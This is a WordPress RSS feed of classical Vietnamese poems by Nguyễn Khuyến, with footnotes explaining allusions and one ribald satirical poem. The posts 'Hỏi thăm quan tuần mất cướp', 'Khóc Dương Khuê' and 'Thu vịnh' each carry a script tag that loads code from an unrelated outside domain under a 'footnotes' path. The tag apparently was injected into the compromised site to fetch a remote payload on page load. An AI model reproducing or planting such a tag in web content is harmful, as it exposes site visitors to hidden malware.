<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thica.netNhững bài thơ hay nhất của nhà thơ Nguyễn Khuyến - Thica.net</title>
	<atom:link href="https://www.thica.net/tac-gia/nguyen-khuyen/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thica.net/tac-gia/nguyen-khuyen/</link>
	<description>Mạng thi ca Việt Nam</description>
	<lastBuildDate>Fri, 13 Mar 2026 06:12:14 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>
<site xmlns="com-wordpress:feed-additions:1">3122721</site>	<item>
		<title>Cảnh già</title>
		<link>https://www.thica.net/2014/06/23/canh-gia/</link>
		<comments>https://www.thica.net/2014/06/23/canh-gia/#respond</comments>
		<pubDate>Mon, 23 Jun 2014 08:59:32 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Khuyến]]></dc:creator>
				<category><![CDATA[Nguyễn Khuyến]]></category>
		<category><![CDATA[Suy ngẫm]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=12500</guid>
		<description><![CDATA[<p>Nhớ từ năm trước hãy thơ ngây<br />
Phút chốc mà già đã đến ngay<br />
Mái tóc chòm đen, chòm lốm đốm<br />
Hàm răng chiếc rụng, chiếc lung lay<br />
Nhập nhèm bốn mắt tranh mờ tỏ<br />
Khấp khểnh ba chân dở tỉnh say<br />
Ông ngẫm mình ông thêm ngán nỗi:<br />
Đi đâu, giở những cối cùng chày!</p>
<p>The post <a href="https://www.thica.net/2014/06/23/canh-gia/">Cảnh già</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Nhớ từ năm trước hãy thơ ngây<br />Phút chốc mà già đã đến ngay<br />Mái tóc chòm đen, chòm lốm đốm<br />Hàm răng chiếc rụng, chiếc lung lay<br />Nhập nhèm bốn mắt tranh mờ tỏ<br />Khấp khểnh ba chân dở tỉnh say<br />Ông ngẫm mình ông thêm ngán nỗi:<br />Đi đâu, giở những cối cùng chày!</p><p>The post <a href="https://www.thica.net/2014/06/23/canh-gia/">Cảnh già</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2014/06/23/canh-gia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">12500</post-id>	</item>
		<item>
		<title>Hỏi thăm quan tuần mất cướp</title>
		<link>https://www.thica.net/2014/06/11/hoi-tham-quan-tuan-mat-cuop/</link>
		<comments>https://www.thica.net/2014/06/11/hoi-tham-quan-tuan-mat-cuop/#respond</comments>
		<pubDate>Wed, 11 Jun 2014 02:51:37 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Khuyến]]></dc:creator>
				<category><![CDATA[Nguyễn Khuyến]]></category>
		<category><![CDATA[Trào phúng]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=12454</guid>
		<description><![CDATA[<p>Tôi nghe kẻ cướp nó lèn ông,<br />
Nó lại lôi ông đến giữa đồng.<br />
Lấy của đánh người quân tệ nhỉ!<br />
Xương già da cóc có đau không?</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2014/06/11/hoi-tham-quan-tuan-mat-cuop/">Hỏi thăm quan tuần mất cướp</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Tôi nghe kẻ cướp nó lèn ông,<br />Nó lại lôi ông đến giữa đồng.<br />Lấy của đánh người quân tệ nhỉ!<br />Xương già da cóc có đau không?<br />Bây giờ trót đã sầy da trán,<br />Ngày trước đi đâu mất mảy lông.<br />Thôi cũng đừng nên ki cóp nữa,<br />Kẻo mang tiếng dại với phường ngông. <sup><a href="https://www.thica.net/2014/06/11/hoi-tham-quan-tuan-mat-cuop/#footnote_0_12454" id="identifier_0_12454" class="footnote-link footnote-identifier-link" title="B&agrave;i n&agrave;y nh&agrave; thơ gửi cho &ocirc;ng Tuần phủ Đ&iacute;ch, l&agrave; bạn học, người l&agrave;ng Thi&ecirc;n Kho&aacute;n thuộc huyện B&igrave;nh Lục, H&agrave; Nam. &Ocirc;ng Đ&iacute;ch vốn c&oacute; tiếng keo kiết bủn xỉn đối với bạn b&egrave;, do đ&oacute; thường bị nh&agrave; thơ giễu cợt đả k&iacute;ch lu&ocirc;n. Về sau &ocirc;ng Đ&iacute;ch dược bổ l&agrave;m ngự sử ở Kinh, lại hiềm kh&iacute;ch ri&ecirc;ng với nh&agrave; thơ. L&uacute;c &ocirc;ng Đ&iacute;ch hưu quan về nh&agrave;, chỉ lo ch&iacute; th&uacute; l&agrave;m gi&agrave;u, rồi bị mất cướp. Nh&acirc;n đ&oacute; nh&agrave; thơ gửi b&agrave;i n&agrave;y hỏi thăm. &Ocirc;ng Đ&iacute;ch cũng c&oacute; b&agrave;i họa lại:&Ocirc;ng thăm, t&ocirc;i cũng gi&atilde; ơn &ocirc;ngN&oacute; c&oacute; l&ocirc;i t&ocirc;i đến giữa đồngCũng tưởng thu vun ph&ograve;ng l&uacute;c thiếuN&agrave;o ngờ ki c&oacute;p lại như kh&ocirc;ngGớm cho những kẻ đen tai mắtChẳng nể &ocirc;ng gi&agrave; t&oacute;c bạc l&ocirc;ng&Ocirc;ng hỏi thăm t&ocirc;i, t&ocirc;i biết vậyThương &ocirc;ng tuổi t&aacute;c, ch&aacute;u thời ng&ocirc;ng.">1</a></sup></p><ol class="footnotes"><li id="footnote_0_12454" class="footnote">Bài này nhà thơ gửi cho ông Tuần phủ Đích, là bạn học, người làng Thiên Khoán thuộc huyện Bình Lục, Hà Nam. Ông Đích vốn có tiếng keo kiết bủn xỉn đối với bạn bè, do đó thường bị nhà thơ giễu cợt đả kích luôn. Về sau ông Đích dược bổ làm ngự sử ở Kinh, lại hiềm khích riêng với nhà thơ. Lúc ông Đích hưu quan về nhà, chỉ lo chí thú làm giàu, rồi bị mất cướp. Nhân đó nhà thơ gửi bài này hỏi thăm. Ông Đích cũng có bài họa lại:</p><p>Ông thăm, tôi cũng giã ơn ông<br />Nó có lôi tôi đến giữa đồng<br />Cũng tưởng thu vun phòng lúc thiếu<br />Nào ngờ ki cóp lại như không<br />Gớm cho những kẻ đen tai mắt<br />Chẳng nể ông già tóc bạc lông<br />Ông hỏi thăm tôi, tôi biết vậy<br />Thương ông tuổi tác, cháu thời ngông.</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2014/06/11/hoi-tham-quan-tuan-mat-cuop/">Hỏi thăm quan tuần mất cướp</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2014/06/11/hoi-tham-quan-tuan-mat-cuop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">12454</post-id>	</item>
		<item>
		<title>Khóc Dương Khuê</title>
		<link>https://www.thica.net/2014/06/11/khoc-duong-khue/</link>
		<comments>https://www.thica.net/2014/06/11/khoc-duong-khue/#respond</comments>
		<pubDate>Wed, 11 Jun 2014 02:40:27 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Khuyến]]></dc:creator>
				<category><![CDATA[Nguyễn Khuyến]]></category>
		<category><![CDATA[Mất mát]]></category>
		<category><![CDATA[Tình bạn]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=12450</guid>
		<description><![CDATA[<p>[...]</p>
<p>Cũng có lúc chơi nơi dặm khách,<br />
Tiếng suối nghe róc rách lưng đèo<br />
Có khi tầng gác cheo leo<br />
Thú vui con hát lựa chiều cầm xoang.</p>
<p>Cũng có lúc rượu ngon cùng nhắp<br />
Chén quỳnh tương ăm ắp bầu xuân<br />
Có khi bàn soạn câu văn<br />
Biết bao đông bích, điển phần trước sau.</p>
<p>Buổi dương cửu cùng nhau hoạn nạn<br />
Phận đấu thăng chẳng dám tham trời<br />
Bác già, tôi cũng già rồi<br />
Biết thôi, thôi thế thì thôi mới là!</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2014/06/11/khoc-duong-khue/">Khóc Dương Khuê</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Bác Dương thôi đã thôi rồi,<br />Nước mây man mác ngậm ngùi lòng ta</p><p>Nhớ từ thuở đăng khoa <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_0_12450" id="identifier_0_12450" class="footnote-link footnote-identifier-link" title="Thi đỗ">1</a></sup> ngày trước<br />Vẫn sớm hôm tôi bác cùng nhau<br />Kính yêu từ trước đến sau<br />Trong khi gặp gỡ khác đâu duyên trời?</p><p>Cũng có lúc chơi nơi dặm khách<br />Tiếng suối nghe róc rách lưng đèo<br />Có khi tầng gác cheo leo<br />Thú vui con hát lựa chiều cầm xoang.</p><p>Cũng có lúc rượu ngon cùng nhắp<br />Chén quỳnh tương <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_1_12450" id="identifier_1_12450" class="footnote-link footnote-identifier-link" title="Quỳnh: t&ecirc;n ngọc qu&yacute;, tương: hồ, nước cơm để l&agrave;m rượu. Quỳnh tương chỉ một loại rượu qu&yacute;.">2</a></sup> ăm ắp bầu xuân<br />Có khi bàn soạn câu văn<br />Biết bao đông bích, điển phần <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_2_12450" id="identifier_2_12450" class="footnote-link footnote-identifier-link" title="Đ&ocirc;ng b&iacute;ch: v&aacute;ch phương đ&ocirc;ng, chữ lấy c&acirc;u thơ của Trương Thuyết: &ldquo;Đ&ocirc;ng b&iacute;ch đồ thư phủ&rdquo; (kho tranh v&agrave; s&aacute;ch ở v&aacute;ch phương đ&ocirc;ng). Điển phần: chỉ chung s&aacute;ch vở cũ; điển (nghĩa đen l&agrave; ph&eacute;p tắc) tức l&agrave; ngũ điển, năm s&aacute;ch điển của c&aacute;c vua Thiếu Hiệu, Chuy&ecirc;n H&uacute;c, Cao T&acirc;n, Đường Nghi&ecirc;u v&agrave; Ngu Thuấn b&ecirc;n Trung Quốc ng&agrave;y xưa; phần (nghĩa đen l&agrave; lớn) tức l&agrave; tam phần, ba s&aacute;ch phần của c&aacute;c vua Phục Hy, Thần N&ocirc;ng, v&agrave; Ho&agrave;ng Đế của thời cổ Trung Quốc.">3</a></sup> trước sau.</p><p>Buổi dương cửu <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_3_12450" id="identifier_3_12450" class="footnote-link footnote-identifier-link" title="L&uacute;c c&oacute; tai ương">4</a></sup> cùng nhau hoạn nạn<br />Phận đấu thăng <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_4_12450" id="identifier_4_12450" class="footnote-link footnote-identifier-link" title="C&aacute;i đấu, c&aacute;i thăng l&agrave; hai dụng cụ d&ugrave;ng để đo lường ng&agrave;y xưa, một thăng bằng một phần mười đấu. Lương bổng của quan xưa một phần được trả bằng gạo, đong bằng đấu v&agrave; thăng l&agrave; rất &iacute;t. C&acirc;u n&agrave;y &yacute; chỉ lương bổng &iacute;t ỏi.">5</a></sup> chẳng dám tham trời<br />Bác già, tôi cũng già rồi<br />Biết thôi, thôi thế thì thôi mới là!</p><p>Muốn đi lại tuổi già thêm nhác<br />Trước ba năm gặp bác một lần<br />Cầm tay hỏi hết xa gần<br />Mừng rằng bác vẫn tinh thần chưa can</p><p>Kể tuổi tôi còn hơn tuổi bác<br />Tôi lại đau trước bác mấy ngày<br />Làm sao bác vội về ngay<br />Chợt nghe, tôi bỗng chân tay rụng rời.</p><p>Ai chẳng biết chán đời là phải<br />Vội vàng sao đã mải lên tiên<br />Rượu ngon không có bạn hiền<br />Không mua không phải không tiền không mua.</p><p>Câu thơ nghĩ đắn đo không viết<br />Viết đưa ai, ai biết mà đưa<br />Giường kia treo những hững hờ <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_5_12450" id="identifier_5_12450" class="footnote-link footnote-identifier-link" title="Trần Phồn đời Hậu H&aacute;n c&oacute; một c&aacute;i giường để d&agrave;nh tiếp người bạn qu&yacute; l&agrave; Từ Trĩ, hễ bạn đi lại treo l&ecirc;n.">6</a></sup><br />Đàn kia gẩy cũng ngẩn ngơ tiếng đàn. <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_6_12450" id="identifier_6_12450" class="footnote-link footnote-identifier-link" title="B&aacute; Nha đời Tấn l&agrave;m quan Thượng đại phu, c&oacute; t&agrave;i chơi đ&agrave;n, c&oacute; người bạn tri &acirc;m l&agrave; Chung Tử Kỳ. Khi Tử Kỳ mất th&igrave; B&aacute; Nha đập g&atilde;y đ&agrave;n đi v&igrave; cho rằng kh&ocirc;ng c&ograve;n ai hiểu tiếng đ&agrave;n của m&igrave;nh nữa.">7</a></sup></p><p>Bác chẳng ở dẫu van chẳng ở<br />Tôi tuy thương, lấy nhớ làm thương<br />Tuổi già hạt lệ như sương<br />Hơi đâu ép lấy hai hàng chứa chan!</p><ol class="footnotes"><li id="footnote_0_12450" class="footnote">Thi đỗ</li><li id="footnote_1_12450" class="footnote">Quỳnh: tên ngọc quý, tương: hồ, nước cơm để làm rượu. Quỳnh tương chỉ một loại rượu quý.</li><li id="footnote_2_12450" class="footnote">Đông bích: vách phương đông, chữ lấy câu thơ của Trương Thuyết: &#8220;Đông bích đồ thư phủ&#8221; (kho tranh và sách ở vách phương đông). Điển phần: chỉ chung sách vở cũ; điển (nghĩa đen là phép tắc) tức là ngũ điển, năm sách điển của các vua Thiếu Hiệu, Chuyên Húc, Cao Tân, Đường Nghiêu và Ngu Thuấn bên Trung Quốc ngày xưa; phần (nghĩa đen là lớn) tức là tam phần, ba sách phần của các vua Phục Hy, Thần Nông, và Hoàng Đế của thời cổ Trung Quốc.</li><li id="footnote_3_12450" class="footnote">Lúc có tai ương</li><li id="footnote_4_12450" class="footnote">Cái đấu, cái thăng là hai dụng cụ dùng để đo lường ngày xưa, một thăng bằng một phần mười đấu. Lương bổng của quan xưa một phần được trả bằng gạo, đong bằng đấu và thăng là rất ít. Câu này ý chỉ lương bổng ít ỏi.</li><li id="footnote_5_12450" class="footnote">Trần Phồn đời Hậu Hán có một cái giường để dành tiếp người bạn quý là Từ Trĩ, hễ bạn đi lại treo lên.</li><li id="footnote_6_12450" class="footnote">Bá Nha đời Tấn làm quan Thượng đại phu, có tài chơi đàn, có người bạn tri âm là Chung Tử Kỳ. Khi Tử Kỳ mất thì Bá Nha đập gãy đàn đi vì cho rằng không còn ai hiểu tiếng đàn của mình nữa.</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2014/06/11/khoc-duong-khue/">Khóc Dương Khuê</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2014/06/11/khoc-duong-khue/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">12450</post-id>	</item>
		<item>
		<title>Thu vịnh</title>
		<link>https://www.thica.net/2013/02/15/thu-vinh/</link>
		<comments>https://www.thica.net/2013/02/15/thu-vinh/#respond</comments>
		<pubDate>Fri, 15 Feb 2013 12:14:02 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Khuyến]]></dc:creator>
				<category><![CDATA[Nguyễn Khuyến]]></category>
		<category><![CDATA[Mùa thu]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=9158</guid>
		<description><![CDATA[<p>Trời thu xanh ngắt mấy tầng cao<br />
Cần trúc lơ phơ gió hắt hiu<br />
Nước biếc trông như tầng khói phủ<br />
Song thưa để mặc bóng trăng vào<br />
Mấy chùm trước giậu hoa năm ngoái<br />
Một tiếng trên không ngỗng nước nào?<br />
Nhân hứng cũng vừa toan cất bút<br />
Nghĩ ra lại thẹn với ông Đào.</p>
<p>The post <a href="https://www.thica.net/2013/02/15/thu-vinh/">Thu vịnh</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Trời thu xanh ngắt mấy tầng cao<br />Cần trúc lơ phơ gió hắt hiu<br />Nước biếc trông như tầng khói phủ<br />Song thưa để mặc bóng trăng vào<br />Mấy chùm trước giậu hoa năm ngoái<br />Một tiếng trên không ngỗng nước nào?<br />Nhân hứng cũng vừa toan cất bút<br />Nghĩ ra lại thẹn với ông Đào <sup><a href="https://www.thica.net/2013/02/15/thu-vinh/#footnote_0_9158" id="identifier_0_9158" class="footnote-link footnote-identifier-link" title="&Ocirc;ng Đ&agrave;o tức Đ&agrave;o Tiềm, một nh&agrave; thơ nổi tiếng của Trung Quốc.">1</a></sup></p><ol class="footnotes"><li id="footnote_0_9158" class="footnote">Ông Đào tức Đào Tiềm, một nhà thơ nổi tiếng của Trung Quốc.</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2013/02/15/thu-vinh/">Thu vịnh</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2013/02/15/thu-vinh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">9158</post-id>	</item>
		<item>
		<title>Thu ẩm</title>
		<link>https://www.thica.net/2013/02/15/thu-am/</link>
		<comments>https://www.thica.net/2013/02/15/thu-am/#respond</comments>
		<pubDate>Fri, 15 Feb 2013 12:11:58 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Khuyến]]></dc:creator>
				<category><![CDATA[Nguyễn Khuyến]]></category>
		<category><![CDATA[Mùa thu]]></category>
		<category><![CDATA[Rượu]]></category>
		<category><![CDATA[Say]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=9155</guid>
		<description><![CDATA[<p>Năm gian nhà cỏ thấp le te<br />
Ngõ tối đêm sâu đóm lập lòe<br />
Lưng giậu phất phơ màu khói nhạt<br />
Làn ao lóng lánh bóng trăng loe<br />
Da trời ai nhuộm mà xanh ngắt?<br />
Mắt lão không vầy cũng đỏ hoe<br />
Rượu tiếng rằng hay, hay chả mấy<br />
Độ năm ba chén đã say nhè.</p>
<p>The post <a href="https://www.thica.net/2013/02/15/thu-am/">Thu ẩm</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Năm gian nhà cỏ thấp le te<br />Ngõ tối đêm sâu đóm lập lòe<br />Lưng giậu phất phơ màu khói nhạt<br />Làn ao lóng lánh bóng trăng loe<br />Da trời ai nhuộm mà xanh ngắt?<br />Mắt lão không vầy cũng đỏ hoe<br />Rượu tiếng rằng hay, hay chả mấy<br />Độ năm ba chén đã say nhè.</p><p>The post <a href="https://www.thica.net/2013/02/15/thu-am/">Thu ẩm</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2013/02/15/thu-am/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">9155</post-id>	</item>
		<item>
		<title>Thu điếu</title>
		<link>https://www.thica.net/2013/02/15/thu-dieu/</link>
		<comments>https://www.thica.net/2013/02/15/thu-dieu/#respond</comments>
		<pubDate>Fri, 15 Feb 2013 12:10:48 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Khuyến]]></dc:creator>
				<category><![CDATA[Nguyễn Khuyến]]></category>
		<category><![CDATA[Câu]]></category>
		<category><![CDATA[Mùa thu]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=9153</guid>
		<description><![CDATA[<p>Ao thu lạnh lẽo nước trong veo<br />
Một chiếc thuyền câu bé tẻo teo<br />
Sóng biếc theo làn hơi gợn tí<br />
Lá vàng trước gió khẽ đưa vèo<br />
Tầng mây lơ lửng trời xanh ngắt<br />
Ngõ trúc quanh co khách vắng teo<br />
Tựa gối ôm cần lâu chẳng được<br />
Cá đâu đớp động dưới chân bèo.</p>
<p>The post <a href="https://www.thica.net/2013/02/15/thu-dieu/">Thu điếu</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Ao thu lạnh lẽo nước trong veo<br />Một chiếc thuyền câu bé tẻo teo<br />Sóng biếc theo làn hơi gợn tí<br />Lá vàng trước gió khẽ đưa vèo<br />Tầng mây lơ lửng trời xanh ngắt<br />Ngõ trúc quanh co khách vắng teo<br />Tựa gối ôm cần lâu chẳng được<br />Cá đâu đớp động dưới chân bèo.</p><p>The post <a href="https://www.thica.net/2013/02/15/thu-dieu/">Thu điếu</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2013/02/15/thu-dieu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">9153</post-id>	</item>
		<item>
		<title>Chỗ lội làng Ngang</title>
		<link>https://www.thica.net/2013/02/03/cho-loi-lang-ngang/</link>
		<comments>https://www.thica.net/2013/02/03/cho-loi-lang-ngang/#respond</comments>
		<pubDate>Sun, 03 Feb 2013 16:27:12 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Khuyến]]></dc:creator>
				<category><![CDATA[Nguyễn Khuyến]]></category>
		<category><![CDATA[Trào phúng]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=9063</guid>
		<description><![CDATA[<p>Đầu làng Ngang có một chỗ lội <br />
Có miếu ông Cuội cao vòi vọi<br />
Đàn bà qua đấy vén quần lên <br />
Chỗ thì đến háng, chỗ đến gối<br />
Ông Cuội ngồi trên tủm tỉm cười<br />
Cái gì trông trắng như con cúi? </p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2013/02/03/cho-loi-lang-ngang/">Chỗ lội làng Ngang</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Đầu làng Ngang có một chỗ lội<br />Có miếu ông Cuội cao vòi vọi<br />Đàn bà qua đấy vén quần lên<br />Chỗ thì đến háng, chỗ đến gối<br />Ông Cuội ngồi trên tủm tỉm cười<br />Cái gì trông trắng như con cúi?<br />Đàn bà khép nép đứng dậy thưa<br />&#8211; Con trót hớ hênh xin xá tội<br />&#8211; Không không mi chẳng tội tình gì<br />Chỉ tội làm ông cứng con buội<br />Về bảo đàn bà khắp làng mày<br />Ra đây ông cho giống ông Cuội<br />Từ đấy làng Ngang đẻ ra người<br />Đẻ ra rặt những thằng nói dối</p><p>The post <a href="https://www.thica.net/2013/02/03/cho-loi-lang-ngang/">Chỗ lội làng Ngang</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2013/02/03/cho-loi-lang-ngang/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">9063</post-id>	</item>
	</channel>
</rss>
